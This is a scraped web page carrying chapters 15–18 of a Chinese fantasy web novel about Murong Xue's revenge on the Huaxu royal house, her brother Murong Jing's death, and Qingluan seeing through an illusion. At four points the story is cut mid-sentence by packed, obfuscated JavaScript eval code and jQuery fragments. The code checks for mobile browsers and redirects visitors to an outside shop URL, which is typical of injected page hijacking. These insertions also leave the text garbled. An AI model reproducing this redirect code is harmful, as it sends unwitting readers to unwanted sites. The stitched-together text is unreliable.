l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712366|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容景回头看她,她也看着慕容景,倘若她接下来没有说出那番话,那么眼前这副画面其实算得上温馨。 可她开口说了,在决定开口的这一瞬间,她便也决定放弃与慕容景重新修好的可能:“你离开华胥好不好?随便去哪里,只要去一个让我看不见你的地方就好。” 慕容景微微一震,面上浮现出不可遏制的痛苦神色,他想要将自己的手从慕容雪手中抽出来,他预感到她接下来要说一些决绝的话,这些话会让他们的关系朝着不可挽回的方向发展,他想要阻止,可是他居然挣不开她,他从不晓得她的力气竟然这样大。 “想必你是记得的,十三年前雨夜的那场追杀,别告诉我你一直都不知道,那些妖族是为了你而来,他们是为了杀你的呀。” 慕容雪的声音像是放进冰里浸过的,一声凉过一声。 “可是呢,最终那天晚上死的人是谁?被他们生擒之后扔进刀光剑影中的人是谁?就在那个雨夜,被人护送着安全回宫的人又是谁?”这一叠声的追问,字字都泣血,慕容雪顿了顿,蹙眉观察着慕容景的表情,好似在欣赏他的痛苦,半晌,她忽然笑了笑:“是你呀,安全回宫的,是本该在那晚死去的你。” 她终于松了手,站起身来居高临下地注视着他。 “那晚平安回来的人本应该是我,拥有你现在所拥有的一切的人也应该是我,至于你,我并不要你去死,只要你离开华胥,永远都别再回来,如此,就算是全了一场我们的姐弟情谊了。” 其实慕容雪后面所说的这些话,慕容景已经听不太清了,在慕容雪松了他的手之后,他便颓然地趴在了桌子上,方才那些酒灌醉了他,他想要醉,于是抿起嘴笑了一下,放任自己沉沉睡去。 在慕容景陷入沉睡之后,慕容雪的神情突然柔软了下来,不似方才,冰冷中还带着一些戏谑。 夜风轻柔,吹拂着她的白色衣衫,她整个人好似从一块坚硬的冰融化成了一片温柔的水,“这就对了,睡一觉吧,睡着了就不必面对现实了,醒来之后就离开,永远离开华胥,离开这处伤心地。” 她喃喃地说着,像是说给慕容景,又像是说给自己听,她伸出手抚了抚慕容景的额,抬头望向不远处的一座宫宇,目光里的情绪不甚分明,有些迷茫,有些怅然,还有些恍惚。 花香与酒气缠绕在一起,朦胧宫灯光影里,眼前的场景十足像个梦境。 青鸾顺着慕容雪的目光望过去,认出那是华胥国主慕容止的寝宫。 慕容止卧病在床多年,已许久不曾露面,即便是流落在外的亲生女儿寻亲归来,他也没有出宫相见。 奇怪的是,慕容雪自归来之后,也不曾提出要去拜见父皇,如今她遥遥望着慕容止的寝宫,目光却有些意味深长。 她似乎在逼自己做什么决定,片刻后,她扔下尚在花园中沉睡的慕容景,拂袖往慕容止的寝宫而去。 15. 青丝雪 夜色愈发深了,风雨欲来,宫檐上的铃铛发出声响,声音清脆,却听得人心中一沉。 出乎青鸾预料,慕容止的寝殿空空荡荡,室内只寥寥燃着两盏灯,火苗的微光映在壁上,没有带来光明,反而衬得四周越发的暗,令她想起梦中的九重天。 慕容雪一路畅通无阻步入寝宫,在慕容止床前站定,她的身形立得笔直,白色衣袖间散发着若有若无的梅香。 “你来了。”慕容止的声音自重重叠叠的纱帘后传出:“你终于还是来了,我知道,当你回来的时候,便是什么都知道了……” 他咳了两声,遣散唯一一个守在榻前的老奴,默了许久,又道:“现下整个寝宫只有你我二人了,你想做什么就做什么吧,你……你是不是回来报仇的?” 他的声音有一种诡异的苍老,就好似一棵原本茂盛的树,被人从树干里吸走了水分,变得皱皱巴巴的,连喘口气都难以为继。 慕容雪始终不曾说话,安静得甚至连呼吸声都没有,她就这样长久地立在原地,久得令慕容止怀疑是他自己产生了错觉,其实她根本没有来过他的寝殿。 于是他挣扎着翻过身来,颤巍巍伸出手,想要拉开帘子,看一看那抹白色的身影是不是他的错觉,“你说话啊……你说话,还是说,我又做梦了,我又魇住了,近来我总是梦见,总梦见你回来,回来找我索命……” 说着,他更加挣扎地想要掀开帘子,努力了半晌,不仅没有将帘子掀开,反而重重地跌在了地上。 到这时,慕容雪才动了起来,拂袖一挥掀开重重纱帘,注视着狼狈跌倒在地的慕容止。 她注视着他,眼里浮现出一丝快意,很快一重更深的情绪翻涌上来,淹没了短暂的快意,她好像沉入了深海,每一句声音,每一个动作,都仿佛窒息。 “为什么会做这样的梦呢,父皇?”她一步一步,缓缓走向慕容止,“为什么会梦见我来找你索命,你做过什么对不住我的事?” 掀开纱帘才发现,慕容止果如青鸾感受到的那般,整个人都皱巴巴的,皮肤像是脱水的树皮,又像是久旱的土地,干涸得快要皲裂。 他蜷缩在地上,枯枝般的手臂奋力抬起,不知是在责备地指向慕容雪,还是伸出胳膊希图她扶自己起来,“你知道了,你果然知道了,那么,你是来杀我的吗?你是来杀我的,对吧……” 慕容雪的步子顿了顿,她微微侧首,语气里有些许疑惑:“无论如何,您养我一场,此刻说我是来杀您的,岂不是陷我于不孝?父皇,我怎么能够杀您,即便您杀我亲生父母,屠我全族,灭我梅宗,但因着那几年的养育之恩,我无论如何不能杀您。” 杀父母,屠全族,灭梅宗,她将这九个字说得平淡,就好像是在说,慕容止当年只是吃了一碗饭喝了一杯水那样简单。 但也正因如此,正因她将这血海深仇说得如此简单,才令人深觉悚然。 “您也很痛苦吧,这么多年来,在您的身体里,我梅宗族人的精魂得不到解脱,他们便以您的身体为养料,宛如寄生,这么说您应该感到高兴才是,从此您可以长生不老,百岁无忧。”慕容雪说到这里,甚至笑了笑:“不过我不是您,不知对于您来说,现在是享受着长生不老的快乐,还是承受着生不如死的痛苦,父皇,需要我帮您解脱吗?” “帮我,帮我解脱……”慕容止颤抖着攥住慕容雪的衣袖,仿佛抓住了救命稻草,“当年是我以捉妖之名屠了你梅宗全族,我知道你们虽是妖族,但已避世多年,从不参与世间纷扰,我也知你母亲并不是妖,而是天族旁支雪族中人,是我,是我为了一己私欲,打着捉妖的旗号,将你母亲一并屠杀了,其实她本可以不用死的,但是我心虚,因为我什么都知道,我只是,我只是……” “您只是欲壑难填,梅宗虽为妖族,但一直以来修炼的是至纯至真之道,他们的修为是妖族中最纯最净的,您想用他们的修为填自己的修仙之路,因此即便他们避世不曾害人,却也因为妖族这一原罪,被您一举覆灭,您为此心虚,所以才杀了我的母亲,即便她乃天族中人,是吗?”慕容雪的语气自始至终都是平静的,唯有在此时质问他时,微微颤了一下:“为了修仙,您甚至不惜杀戮天族旁支,真是好大的胆子。” 慕容止听着,干干地笑着,“是啊,是啊,当年,当年我真是好大的胆子啊,也的确是好狠的心肠,当年你还在襁褓之中,我原本想将你斩草除根,是夫人她,她不忍心,这才收留了你,收养你的那些年里,我看着你逐渐长大,看着你的那张脸,有时候会觉得害怕,害怕你知道了真相,害怕终有一日会来寻我报仇,最害怕的,还是面对自己曾经的狠毒心肠。” 他叹了口气,“你果然知道真相,来寻我报仇了,但是,你的母后是真心怜悯你,在抚养你的那些年里,也是真心爱护你的……” “倘若真心怜悯,就不会眼睁睁看着,让我变成一个无父无母的孤儿。”慕容雪面无表情,“屠我全族之后施舍给我的那一点怜悯之心,在我看来一文不值,比草还贱。不过你说的对,我相信在抚育我的那些年里,她的确待我真心,既然如此,作为回报,我不妨告诉你吧。” 她俯下身,凑至慕容止耳边,“想必你是知道的,她早已经死了,但你不知道她到底是怎么死的,我来告诉你,她乃焚烧心火而亡,同你一样,将身体作为养料,心脏燃烧殆尽之后,魂飞魄散,万劫不复。” 慕容止瞪大了眼睛,蓦地咳出一口血来,“你,你,你好凉薄的心,她养你爱你一场,你却,你却……” 他已经连一句完整的话都说不出了,慕容雪蹲下来,替他擦了擦唇角的血迹,“是啊,我凉薄,你狠心,我们可真相像,不过想想也很有道理,虽非亲生,好歹我们也父女一场,那么父皇,还需要我助您解脱吗?” 慕容止瞪着眼,半天说不出一句话来,他将目光从慕容雪身上移开,望向不远处随风浮动的纱帘,不知在想些什么,过了许久,才缓缓道:“罢了,罢了,将你族人的精魂取走吧,我只有一个请求,毕竟华胥国以公主之礼养了你这许多年,求你不要伤害华胥族人,不要伤害小景。” 慕容雪得到了他的回复,这才伸出手,将右手食指抵在慕容止的眉心,“当然了,如果您当初没有将事情做得那样决绝,其实我根本就没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712367|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴致,处心积虑将当年的账一笔一笔讨回来,倘若非要怨,那就怨您自己,当初将事情做得太绝。” “什么?”慕容止看起来有些惶惑,他真的记不起自己当初还做了什么。 “您当年怕梅宗死灰复燃,一把火烧了梅宗故地,这些,您不记得了?”慕容雪说着,指尖微微用力,在慕容止眉间燃起一簇红色的光,“即便我取回族人精魂,也需将他们送回故土修养,方能让他们复生,可您当初焚烧梅宗故土时,用的是凤凰心火,心火所过之处,至今千里焦土,父皇,梅宗如今已无故土。” 慕容止被她吸取着力量,神色却变得舒缓下来,不似方才那般痛苦,他听着慕容雪口中自己当年的那些罪行,目光也由惶惑变为清明。 他当年,的确将事情做得决绝。 “可是天不绝人,有人可以助我,恢复梅宗旧地。”说到这里,慕容雪眼中浮现出一丝期许,她继续徐徐地道:“他可以帮我恢复故土,助我复活族人,但需要我做一件事,以此作为交易。父皇,我知华胥养了我那些年,您对我有灭族之仇,却也有养育之恩,若非无路可走,其实我也不愿做到如此地步。” “是谁可以恢复梅宗旧地,他要你做什么事作为交易,你,你要对华胥做什么?”慕容止一口气问了这许多,问完剧烈地咳嗽起来,半晌,他见慕容雪只是静静注视着他,专心从他身体里抽取族人精魂,便知她是铁了心复活族人,绝不会告诉自己她的打算了。 “罢了,罢了……”他长长地叹了口气,将手往慕容雪身后的箱子一指,“那机关里,有一个匣子,匣子里放着的,是我在夫人和你失踪的那一年,便写好的罪己诏,我一直没有勇气将自己的罪行昭告天下,如今要烦你代劳了。” 慕容雪眸子里几番明灭,她并没有回头看那箱子,而是在嘴角浮起一丝轻蔑的笑,“你以为这样,便可以打动我,让我放过华胥么?” 她似乎已经将族人的精魂都吸取完毕了,指尖光芒由盛转衰,逐渐消失不见。 她站起身来,注视着仍旧瘫倒在地的慕容止,“父皇,我此番,并非仅仅因为答应了那人的条件才回到华胥,华胥人这么多年不分好坏地诛妖,他们本身也需要为此付出代价。” 慕容止被她吸了身体里的梅宗精魂,面色反而变得红润,想是回光返照。 这些年来,他不仅没有将梅宗精魂吸收得为己所用,反而遭到反噬,被他们寄生在体内,吸光了他所有的修为精气,他虽痛苦不堪,却因着那些精魂的寄生而求死不能,如今那些不属于他的精魂离开身体,折磨他多年的痛苦也一并褪去了。 他知道,他也快离开了。 他用尽最后一丝力气,将头转向窗外,“那个箱子,是小景做的,机关繁复,要解开却也容易,密钥是你的生辰。自然,我们也不知你真正的生辰是哪一日,这些年我们来为你庆生的,是你来到华胥的那一日,也是梅宗举族覆灭的那一日。雪儿,我,我知道,我很对不住你。” 说完这番话,他才真正得到了解脱,如释重负闭上了眼,与此同时,窗外悄悄攀进来一抹光。 天亮了。 16. 青丝雪 阳光照了进来,慕容雪却仿佛浑身都凝满了冰霜,她轻轻吐了口气,气息仿若在冬日里呵出的白雾。 不知是不是方才吸取了族人精魂的缘故,她如今用自己的身体养着他们,面色以肉眼可见的速度变得苍白。 回到华胥的第一件要紧事完成了,她的心中却感受不到几分欢喜,虽则有对族人复活的期许,但总的来说,她的心里莫名沉甸甸的。 她回过头,良久地注视着那个箱子,却没有打开它,决绝地转身离去。 青鸾扇动翅膀,紧紧跟上。 慕容雪一路分花拂柳,来到了华胥宗祠,那里面祭祀着的,是华胥圣物凝魄珠。 守护宗祠的术士并没有阻拦慕容雪,在华胥宫人眼里,她还是那个流离在外刚刚归来的公主,是慕容景的阿姊,是慕容止的亲生女儿。 因此如同进入慕容止的宫殿时那般轻松,她畅通无阻地踏入了宗祠。 窗外飘起了细雨,在阳光下如同一根根金线,一针一线地织就着锦绣山河。 她凝视着端放于宗祠最中央的凝魄珠,紧紧蹙起眉头。 是啊,华胥国的确拥有千里沃土锦绣山河,甚至可以说,它是人族统治之下最为辉煌繁盛的国度,但他们的辉煌与繁盛,是建立在另一些生灵的血与泪之上的。 华胥人的修仙之道,踏的是她妖族同胞的累累白骨,眼前这颗仙气充盈的凝魄珠,凝的是妖族中人千万年的道行修为。 她缓缓伸出手,将凝魄珠收入袖中。 她原以为如此圣物,周围应当设置了厉害的机关结界,却没想到它毫不设防,就这样轻易地被她纳入袖中,从昨晚到今晨,这一切未免太顺利了。 她怔了怔,似乎有些恍惚,最后却是凝了目光,带着凝魄珠离开了宗祠。 青鸾继续跟了上去,一路跟着她往宫外的方向走。 看起来她是要离开华胥宫中,那么她携了凝魄珠,是要去往何处呢? 对于她来说当务之急应该是去梅宗故土复活族人,但那梅宗旧地早被慕容止一把火烧成了焦土,是了,她曾说有人能助她恢复故土复活族人,前提是需要她为他做一件事,如此看来,想必那件事就是盗取华胥圣物凝魄珠了吧。 青鸾一边飞一边思索着,觉得自己思索出些许头绪来,有些跃跃欲试。 却见城门处,一道身影逆着太阳光亮,静静立在那里,拦住了待要离去的慕容雪。 “阿姊曾言,让我离开华胥,为何最终打算离开的却是阿姊。”慕容景望着她,整个人好像都碎了,他问她:“为何不告而别。” 慕容雪没有看他,微微垂着眼帘,将双手在衣袖里攥成拳,轻声道了一句让开。 慕容景固执地立在原地,目不转睛注视着她,他这模样让慕容雪有些愣神,仿佛二人回到了从前,他还是如小时候那般执拗倔强。 一阵风吹来,拂动二人发梢,此情此景,一如那日慕容雪持着一枚白玉寻到城门口,说自己乃华胥流落在外多年的公主,叫慕容景出来相认。 “阿姊是否还记得当年我送给你的生辰礼,那枚白玉乃昆仑山脚下自然形成的玉石,极有灵气,我第一眼见着便知你会喜欢。”慕容景柔了语气:“后来你果然是很喜欢的,送给你的时候看见你那样开心地笑,那时候我便觉得,寻找玉石时吃的那些苦,雕琢白玉时受的那些伤,那些都算不得什么了。阿姊,我们好不容易再次相见,你为什么要不告而别?” 从见到慕容景的第一刻起,慕容雪一直都很平静,尽管那平静是她刻意伪饰出来的,好歹她也不曾失态,但在听见他说到生辰礼三个字时,她便连那伪饰的平静也坚持不下去了。 “生辰礼是么?”她取出那枚白玉,自己都没有察觉到,她已红了眼眶,“慕容景,我让你离开,你为什么不离开,你为什么就是不听话?知道吗,你从小就是这副讨厌模样,从小便顽劣不堪,从小便不曾听过我的话,你以为我很喜欢你吗?我早就厌极了你!” 说完,她将白玉弃掷于地,看也不看它一眼,踩着它继续朝宫外走去。 慕容景拉住了她的手。 他固执地,一字一句地问:“阿姊,你为什么要不告而别?” “慕容景,你有完没完!”她猛地拂开衣袖向后退了几步,甩开他的手,蹙眉望向慕容景时,眉心有红色微光闪烁,“你叫我阿姊,那么你好好看看我的脸,看看这张脸,与你可有半分相似之处?” “你在说什么,阿姊?”慕容景亦退了几步,怔然片刻后复上前来,伸出手竟想抚摸慕容雪的脸,“阿姊,我听不懂你在说什么,那年雨夜,你替我引开妖族杀手,你,你可以怨我、恨我,但你不能不认我、不要我……” 慕容雪踉跄着继续往后退,躲开慕容景的手,双唇翕张,不知念了什么诀。 方才平静的天空骤然下起了雪,雪花旋转着凝成冰晶,从四面八方刺向慕容景,在离他只有一寸远的地方堪堪停住。 慕容景不曾躲闪,只是哀伤地注视着慕容雪。 “别用这样的眼神看着我,我不曾亏欠你什么。”她冷笑几声,再次念了口诀,将那些冰晶收了一寸。 现下那些冰晶紧紧贴在了慕容景的脸颊上,须臾,他的脸上流下道道血痕。 “你要跟我提生辰礼,那么我便好好同你讲讲我的生辰,在所谓生辰那日,我离开了我的故土,来到你们华胥宫中,那一日是我亲生父母的忌日,是我梅宗阖族的忌日,是慕容止焚尽我梅宗故土的日子,而你们慕容氏,在每年的那一日,锣鼓喧天为我庆祝所谓生辰,慕容景,我至今不知我到底是哪一日出生,到底哪一日才是我真正的生辰。” 慕容雪的声音比抵在他脸上的冰晶还凉,他应当是哭了的,眼泪和血水一同落下,不知怎么却感觉不到疼。 慕容雪突然仰头大笑,敛袖收了冰晶,有些摇晃地继续向宫外走,在经过慕容景身边时略略顿了一顿,“别怪我心狠,我曾让你离开华胥,让你离开,已是顾及了从前情分。” 他有些木然地道:“听你的意思,你乃梅宗妖族,而慕容氏是屠你全族的仇人,你说情分,阿姊,你对我应该只有恨吧,何来情分?” 慕容雪没有回答,也不曾停留,她离开了华胥国,留下那枚白玉,静静地躺在尘埃里。 慕容景在原地站了半日,好似在这半日里苍老了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712368|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许多,等到日头西移,他才恍恍惚惚地走了几步,俯下身,拾起那枚白玉,细致地擦了擦玉身上的灰尘,将它珍重放入怀里。 忽见宫人连滚带爬地向他奔来,一边狂奔一边高声呼喊,“国主驾崩!启禀少主,国主驾崩……” 慕容景怔了怔神,露出疑惑的表情,好像没有反应过来,并没听懂那宫人在喊些什么。 但青鸾分明看到,他原本如玉温润,此刻站在阳光底下,却彻底碎了。 慕容止薨逝,慕容景成为华胥国新任国主,在他登基后的第三日,也是国丧的第三日,青丘国大举来犯,驻于两国交界空桑山上,竖起旗帜向华胥国示威。 是了,是了,这就是了。 青鸾闭上眼睛,稳住自己略有波动的精神游丝。 她已来到了空桑之战前夕,继续这样发展下去,便能看到事情的全貌,知晓当年到底发生了什么。 “你发现了?”忽有一道声音从空中响起,那声音像是来自四面八方,在青鸾耳畔回荡,“怪不得,怪不得你分明已经迷失了这么久,我却还是不能吸你精魄,原来你已经发现了,可是怎会……怎会如此!” “是的,我发现了。” 青鸾不再勉力隐藏自己发现了眼前这一切只是一场幻境的事实,因这场幻境再继续发展下去,便要发展至空桑之战了,届时即便她隐藏得再好,幻境的主人也定能发现其实她并未迷失其间。 “与英小小分别之后,我便入了你的幻境,其实我从没有离开过空桑山,也从不曾去过华胥国,对吗?” 幻境的主人似是不可置信,反反复复地道:“你是如何发现的?是如何发现的……不可能,绝无可能,几百年了,这几百年间,幻境不知吞噬了多少企图靠近空桑山的人,我本以为它全无破绽,怎么可能,怎么可能被你堪破……” “因为我在幻境中入了你的梦,慕容姑娘……”青鸾猛地顿住,“抱歉,我不知该唤你什么。”她突然想到,既已知晓了慕容雪与慕容氏之间的血海深仇,再唤她慕容姑娘便很是不妥,但这个女孩,她似乎自始至终都不知道自己的真实名字,因此青鸾也不知道,到底该唤她什么。 “总之,幻境中的梦境,实在是太脆弱了,便是那么一刻的松动,让我看见了原本在幻境中不能让我窥见的东西。” “我在你的残梦碎片里,看见了英小小的身影,当时我只是觉得疑惑,你怎会与英小小扯上关系,在离开你的梦境之后,我才恍然明白,也许你也与空桑之战有关。” “既然发现了这一处可疑的地方,那么整个幻境,在我眼中就逐渐分崩离析了,原来这一切都是空桑之战前发生的事,那时候慕容止还没有薨逝,慕容景也并未失踪,如此一来我最开始瞧见慕容景时的疑惑也一并解决了。” “在离开青要山前往空桑之前,帝骁曾对我说过,华胥国自当年空桑一战后,便举族隐居避世,寻常人根本找不到它,他给了我一枚令牌,让我可以跟随令牌的指引寻见华胥,可惜我当时忘记问他,现任华胥国主是谁。” “倘若我一早便知,现任华胥国主已然不是慕容止,那么兴许从一开始,我便能堪破你的幻境了。” 17. 青丝雪 慕容雪反应很快,意识到青鸾想要做什么,立马开始收束幻境,但直到此刻她才发现,原来这个由她织就的幻境,现在并不完全受她控制了。 青鸾阖目立在原地,在她周围凭空浮现出一些极为纤细的金色丝线,那是她的精神游丝,起初只是薄如蝉翼的一丝一缕,很快汇集成一片金色的海,以她为中心四散开来。 那些半透明的金色丝线,支撑起了逐渐破碎的幻境,迫使在这幻境中上演的故事继续朝前发展。 “你没有独立创造小世界的能力,只有以自己的记忆作为依托,编织这样一个幻境,这也是我愿意留在幻境里原因,我想知道,空桑之战到底发生了什么。”青鸾尝试着向慕容雪解释自己的所作所为,“我知道,被人窥探记忆的感觉并不好受,但是你似乎没有将这段过往告知于我的意思,很抱歉我只能这样做了。” “这是我的幻境,是我的记忆,我才是你此刻所处世界的主人。”慕容雪的声音听起来出离愤怒:“你真是好大的胆子,在我的幻境里利用精神游丝窥视我的记忆,稍不注意,你便有可能神思紊乱,从此变得疯癫。” 青鸾的目光和语气都很坚定,“我知道,这是我可能付出的代价,也是我必须承担的风险,但我还是选择做这件事,就算如你所言,以后变成个疯癫的傻子,我也绝不后悔。” 二人心中皆知,她们虽未面对面动手,但已在精神领域里交手几个回合了,此刻是精神力强大与否的比拼。 倘若青鸾胜过慕容雪,那么她就可以继续推动幻境向前发展,如此便能通过慕容雪的记忆,得知当年空桑之战不为人知的细节。反之,轻则她会神思紊乱变得疯癫,重则她的精神游丝将被这个幻境尽数吞噬,届时她就会变得彻底无知无觉,那将是怎样一个状态,她无从得知。 无论如何,她都是在以身犯险,用自己的余生做赌。 良久,原本支离破碎的幻境竟被青鸾修补得恢复如初,她看起来耗费了不少精神力,脸色变得苍白,额角也渗出了细密的汗珠。 不过,她成功了,幻境如走马灯般闪过几个画面后,按照时间线继续向前发展,定格在了空桑之战。 “为什么?”慕容雪的声音在幻境中响起,变得有些颓然:“我本在收束幻境了,你明明可以安全离开,为何要冒这样大的风险,非要探知当年的空桑之战?” “因为我必须完成任务,我要彻底解决空桑雪患。在来的路上我一直在想,倘若这一次我坚持下去,无论如何都不放弃,那么之后我的结果,会不会有所不同。”青鸾自始至终便没有打算与慕容雪为敌,在得知她的身世之后,其实更平添了几分怜惜之意,因此虽则方才在同她斗法,但此刻说话的语气依然算是柔和: “你也许不知道我在说什么,我只是觉得,此次解决空桑雪患,是我命运的一个转折之处,坚持还是放弃,会让我踏上两条截然不同的路,我觉得值得,便那样去做了。其实你也体会过的吧,在你的生命里,有没有什么值得的事情,无论如何不能放弃,哪怕拼上自己的一切,也必须去做?” 慕容雪沉默了,不知是在思索青鸾说的这番话,还是力竭放弃了挣扎,总之她不再阻挠青鸾,任由幻境继续朝前发展。 只是,幻境中萦绕起一丝哀伤的气息,虽看不见,但如影随形,挥之不去。 眼前的画面正在上演当年的空桑之战,青丘与华胥两军列阵,肃杀之气冲淡了那铺天盖地的哀伤气息。 慕容景不再身着锦衣华服,而是披上了盔甲,手持着利剑,将脸隐藏在青铜色的面具之下,因此青丘人看不见他连续三日未眠的苍白脸色。 他抬手,将剑遥遥指向被重重护卫住的青丘国主,“青丘与华胥开战,最终只能两败俱伤,如今局面尚未至不可挽回的地步,望三思后行。” 慕容景虽年轻,却将气势做得很足,寥寥几句话颇具威慑之力,青鸾感叹,不愧是连帝骁都称赞的国之少主。 但那青丘国主看起来十分有把握,说了几句慕容景年纪还轻不知其中厉害的废话,随后向侍立在侧的国师英小小点了点头。 英小小,俨然才是此番鼓动青丘出兵的主角,她扭动腰肢上前几步,含笑注视着慕容景,“你们看看,我手上拿着的是什么?” 此言一出,华胥军中哗然。 那青丘国师手心里躺着的,赫然便是祭祀在华胥宗祠中的圣物凝魄珠。 “没了这凝魄珠的庇佑,你们华胥人对于修仙还有几分把握?堂堂国主,连自己的圣物都守护不住,又还有何脸面统帅全军,与青丘交战?”英小小捂了捂嘴,咯咯地笑着:“要我说,识相一点,你们即刻归降,并且保证将来永不修仙,更不能以捉妖作为修仙法门,我们嘛,还可以饶你们一命,如何?” 说完这些话,她还没有罢休之意,招了招手,示意她身后的人上前。 英小小身后,无数侍卫形成的保护圈中,缓缓走出来一个白衣女子。 白色裙裳,及腰墨发,点漆眸子,整个人散发着清冷的气息,像是盛开在冰天雪地里的一株梅。 那是慕容雪。 她没有说话,只是静静地站在那里,遥遥注视着慕容景,眼中晦暗不明。 英小小显得愈发得意:“就连你们自己的公主都已叛国,亲手为我奉上凝魄珠,国之将亡,再无气运,我方才说的那些,你们可以好好考虑一下。” 华胥军中有些沉不住气的,已经开始怒骂,一部分人在痛斥英小小卑鄙无耻,但更多的人将矛头指向了慕容雪。 他们骂她残忍冷酷、暴戾无情,没想到身为公主,竟还投敌叛国,毫无骨气,不如立时死了。 慕容雪任由他们骂着,看起来丝毫不为所动,全然不将他们的话放入耳里,她从始至终只是静静地注视着慕容景,但实在看不出来,她望向慕容景的目光里,到底掺杂着什么样的情绪。 英小小却是经受不住那些人的喝骂,面上肉眼可见地浮现出了怒气,她怒极反笑,冷笑几声后挑衅道:“在这里逞口舌之能算什么英雄?有本事便开战啊,凝魄珠就在我手上,你们敢吗?谁要是敢上前一步,我就捏碎这个珠子,让你成为华胥国的罪人!” 慕容景身后立有三军, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712369|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此刻面对这样一个妖娆的弱女子,竟全然无可奈何。 眼见着凝魄珠落入敌手,士气本就骤减一半,又经历了英小小这一番攻心之术,更有人开始垂头丧气,尚未开战,便已见败相。 慕容景却岿然不动,他微旋手腕,将方才指向青丘国主的利剑,转而对准了英小小手中的凝魄珠。 英小小面色一变,低呼了一声不好,还没来得及有所动作,便见一道剑光闪过,咔嚓一声,手中的凝魄珠碎成了两半。 她不可置信地瞪着慕容景,“你为了不将把柄留给我们,竟不惜毁了你们自己的圣物?” “你也知道凝魄珠乃我华胥圣物,既是圣物,又怎会如此轻易便被窃取,落入你们手里。”慕容景的声音很镇定,似乎从一开始直到现在,发生的一切都在他的预料当中。 所有人都将目光凝聚到了那颗破碎的凝魄珠上,但见它被一分为二之后,瞬间便失去了光泽,更没有逸散出传说中的灵力仙泽。 果然,那并非真正的凝魄珠,而是用幻术造出来的替代之物。 慕容雪微不可见地舒了口气,紧绷的身子立时松弛下来,她仿佛是笑了,那笑容却又显得悲凉,令人分辨不清到底是笑是哭。 慕容景将目光移向她,“抱歉,阿姊,华胥圣物凝魄珠,其实并不似众人所知的那般祭在宗祠里,我敬你爱你,却不能拿整个华胥的安危作赌。” 说完这些,他默了半晌,提高嗓音向青丘国主道:“你们敢贸然向华胥开战,便是自以为运筹帷幄,能将华胥圣物收入囊中,以此作为要挟吧?那么如今呢,同华胥交战,青丘又有几成把握?” 这下轮到青丘人瞠目结舌、军心大乱了,没想到转瞬间局势逆转,现如今挑起这场战争的他们宛如跳梁小丑。 “杀妖女!除奸佞!” “杀妖女!除奸佞!” 方才垂头丧气的华胥军队此刻却是士气大振,众人不约而同高声呐喊,一时间杀声震天,响彻空桑山。 英小小蹙眉转过身,看见慕容雪唇畔那抹意味不明的笑意,顿时怒火中烧:“原来慕容景也并不如你说的那般,对你言听计从,对你深信不疑,凝魄珠并未祭在宗祠里,你身为华胥公主,竟连这都不知?” “你都说了,她是华胥公主,又怎会真的不知!”青丘国主骑坐在高高的灵兽上,如今被无数道目光审视着,觉得很不好受,自然比英小小更为愤怒,“要我看,这莫不是一出里应外合的戏码,她假降于我们,嘴上说着是因儿时被妖族追杀,其母为救弟弟舍弃了她,她因此愿意替我们盗取凝魄珠,要我们为她杀了慕容景报仇,实际上,却是同她弟弟演的一场戏!” 说着说着,他觉得自己分析得实在太有道理,于是愈发生气,盛怒之下凝了自己半生功力,很突然地向慕容雪发难。 青色的狐火在空中燃烧着,随后凝聚成一柄利刃,以肉眼难追的速度向慕容雪袭去。 青鸾看得出来,以慕容雪的身手,其实她完全可以闪开。 但她没有,她抬眸望着,然后旋身向前,笔直地朝那利刃迎了上去。 18. 青丝雪 青鸾想起,慕容景曾在幻境中对她说过,儿时的慕容雪之于他而言,是真正爱护着他的人,即便他闯祸伤到了她,她也不忍心看他受罚,无论如何总想替他担下责任。 她不知道慕容景在飞身扑向慕容雪,用自己的身体替她挡下青丘国主那凝聚了半生功力的一击的时候,心里在想什么。 他可曾想到儿时与慕容雪共同长大的场景,想到从前的慕容雪便如现在的他一般,无数次挡在他的身前,无论面对的是父母的责骂,还是妖族的追杀。 无论如何,她曾为他做的一切,在此时此刻,他都用性命偿还了。 那柄以气凝成的利刃刺穿了他的心脏,狐火妖力震碎了他的经脉,也划破了他的青铜面具,面具碎片之下,露出他一张毫无血色的脸。 他倒在慕容雪怀里,似乎想要说什么,却没有力气,刚一张嘴,便吐出一口又一口的血。 红色的血顺着他苍白的面颊淌下来,竟然有一种妖异破碎的美。 